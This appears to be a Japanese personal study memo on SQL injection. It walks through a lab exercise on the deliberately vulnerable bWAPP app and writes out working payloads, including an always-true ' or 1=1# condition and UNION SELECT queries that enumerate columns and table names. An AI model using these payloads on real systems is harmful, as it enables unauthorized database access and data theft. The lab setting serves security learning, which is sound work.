【セキュリティ】SQLインジェクションとは(備忘録)
1.SQLインジェクションとは
SQLインジェクションとは、第三者がSQLコマンドを悪用してデータベースの情報へ不正にアクセスし、情報を搾取や改ざん・削除する攻撃手法を指します。
2.実際にやってみた
〇検証環境:bWAPP(VirtualBox上に環境構築)
〇使用ブラウザ:FireFox
〇手順1.
SQL Injection(POST/Search)
を選択します。
〇手順2.
・操作内容
まず、入力フォームに適当な文字列を入力してみます。
ここでは、Man
という文字列を入力してみます。
・実行結果
3件のデータが戻ってきました。
〇手順3.
・操作内容
入力フォームに '
を入力してみます。
・実行結果
使用しているデータベース MySQL
が判明しました。
〇手順4.
・操作内容
入力フォームに Man' or 1=1#
と入力してみます。
・実行結果
登録されている全データが戻ってきました。
〇手順5.
・操作内容
' UNION select TABLE_NAME FROM INFORMATION_SCHEMA.TABLES #
を入力してみます。
・結果
「カラム数が異なる」というエラーメッセージが戻ってきました。
〇手順6.
・操作内容
カラム数が一致するまで、パラメータを入力してみます。
ここでは、' UNION select 1,2,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES #
を入力してみます。
・結果
エラーメッセージは表示されなくなりました。
ここから、以下のことが判明しました。
・カラム数は7個
・2番目のカラム名:Title
・3番目のカラム名:Release
・4番目のカラム名:Genre
・5番目のカラム名:Character
〇手順7.
・操作内容
' UNION select 1,2,TABLE_NAME,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES #
を入力してみます。
・結果
全てのテーブル名を取得することができました。
(テーブルが多いので、全ては掲載しません。。。)
3.参考
・SQLインジェクションとは
・SQL注入: #1 実装における対策
・INFORMATION_SCHEMAとは
・【Oracle】テーブルの情報を取得するSQL文
4.注意
この記事で紹介した内容は、独自に用意した検証用サイトに対して行いました。
企業・団体等のサイトに対し攻撃すると、違法行為として処罰される可能性があります。
Discussion